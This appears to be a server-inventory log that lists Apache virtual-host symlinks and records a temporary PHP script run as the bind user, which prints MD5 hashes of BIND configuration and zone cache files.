link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2/sites-available/hostz_condor_org.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf)= /etc/apache2/sites-available/myapp_ma1-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf)= /etc/apache2/sites-available/myapp_ma1-mvrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf)= /etc/apache2/sites-available/myapp_ma1-utfa_care.conf
link(/etc/apache2/sites-enabled/myapp_d-oak_care.conf)= /etc/apache2/sites-available/myapp_d-oak_care.conf
link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2/sites-available/patientapps_athenahealth_net.conf
link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2/sites-available/patientapps_cerner_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf)= /etc/apache2/sites-available/myapp_ma1-ovin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf)= /etc/apache2/sites-available/myapp_ma1-ankp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfu_care.conf
link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2/sites-available/patientapps_audio_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf)= /etc/apache2/sites-available/myapp_ma1-savr_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2/sites-available/patientappsinc_www_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf)= /etc/apache2/sites-available/myapp_ma2-anin_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf)= /etc/apache2/sites-available/myapp_ma1-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf)= /etc/apache2/sites-available/myapp_ma1-rorp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf)= /etc/apache2/sites-available/myapp_ma1-prls_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf)= /etc/apache2/sites-available/myapp_ma1-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf)= /etc/apache2/sites-available/myapp_pai-ctsr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf)= /etc/apache2/sites-available/myapp_ma1-arcr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf)= /etc/apache2/sites-available/myapp_ma2-hamm_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf)= /etc/apache2/sites-available/myapp_ma1-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2/sites-available/patientapps_pai_net.conf
link(/etc/apache2/sites-enabled/myapp_test_care.conf)= /etc/apache2/sites-available/myapp_test_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf)= /etc/apache2/sites-available/myapp_ma1-typa_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf)= /etc/apache2/sites-available/myapp_ma1-larn_care.conf
link(/etc/apache2/sites-enabled/myapp_version2_care.conf)= /etc/apache2/sites-available/myapp_version2_care.conf
link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2/sites-available/vela_www_work.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf)= /etc/apache2/sites-available/myapp_ma2-anar_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf)= /etc/apache2/sites-available/myapp_ma2-chel_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfu_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf)= /etc/apache2/sites-available/myapp_ma1-asst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf)= /etc/apache2/sites-available/myapp_ma1-mtfp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-lc_care.conf)= /etc/apache2/sites-available/myapp_pai-lc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf)= /etc/apache2/sites-available/myapp_ma2-hind_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma2-anfr_care.conf
link(/etc/apache2/sites-enabled/patientapps_shop_co.conf)= /etc/apache2/sites-available/patientapps_shop_co.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf)= /etc/apache2/sites-available/myapp_pai-lsst_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf)= /etc/apache2/sites-available/myapp_ma1-sspr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf)= /etc/apache2/sites-available/myapp_ma1-fass_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf)= /etc/apache2/sites-available/myapp_ma1-vasr_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-rco_care.conf)= /etc/apache2/sites-available/myapp_pai-rco_care.conf
link(/etc/apache2/sites-enabled/patientappsinc_store_com.conf)= /etc/apache2/sites-available/patientappsinc_store_com.conf
link(/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf)= /etc/apache2/sites-available/myapp_ma2-mdfu_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf)= /etc/apache2/sites-available/myapp_sma1-lsg_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf)= /etc/apache2/sites-available/myapp_ma1-shem_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf)= /etc/apache2/sites-available/myapp_ma1-ropn_care.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2/sites-available/patientapps_go_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf)= /etc/apache2/sites-available/myapp_ma1-cybb_care.conf
link(/etc/apache2/sites-enabled/myapp_cn-dego_care.conf)= /etc/apache2/sites-available/myapp_cn-dego_care.conf
link(/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf)= /etc/apache2/sites-available/myapp_sma1-pcnl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf)= /etc/apache2/sites-available/myapp_ma1-infp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf)= /etc/apache2/sites-available/myapp_ma2-acrp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf)= /etc/apache2/sites-available/myapp_ma1-anfr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf)= /etc/apache2/sites-available/myapp_ma1-turp_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf)= /etc/apache2/sites-available/myapp_ma1-tylo_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf)= /etc/apache2/sites-available/myapp_ma1-pfer_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf)= /etc/apache2/sites-available/myapp_pai-acrc_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf)= /etc/apache2/sites-available/myapp_ma1-anrp_care.conf
link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2/sites-available/patientapps_www_net.conf
link(/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf)= /etc/apache2/sites-available/myapp_ma1-osbp_care.conf
link(/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf)= /etc/apache2/sites-available/myapp_pai-ldhr_care.conf
link(/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf)= /etc/apache2/sites-available/myapp_ma2-rcl_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-rcl.conf)= /etc/apache2/sites-available/myapp_ma1-rcl.conf
link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2/sites-available/patientapps_portal_net.conf
link(/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf)= /etc/apache2/sites-available/myapp_pai-lsg-s_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf)= /etc/apache2/sites-available/myapp_ma1-octf_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf)= /etc/apache2/sites-available/myapp_ma1-epas_care.conf
link(/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf)= /etc/apache2/sites-available/myapp_ma1-tosr_care.conf




STDERR:
/tmp/pkp263194:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-05-08 06:00:02: Establishing a remote connection
2026-05-08 10:00:06: Establishing a connection
2026-05-08 10:00:14: Establishing a connection
2026-05-08 10:00:14: 

PUT: /tmp/pkp718266

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 10:00:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp718266; rm /tmp/pkp718266'

2026-05-08 10:00:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


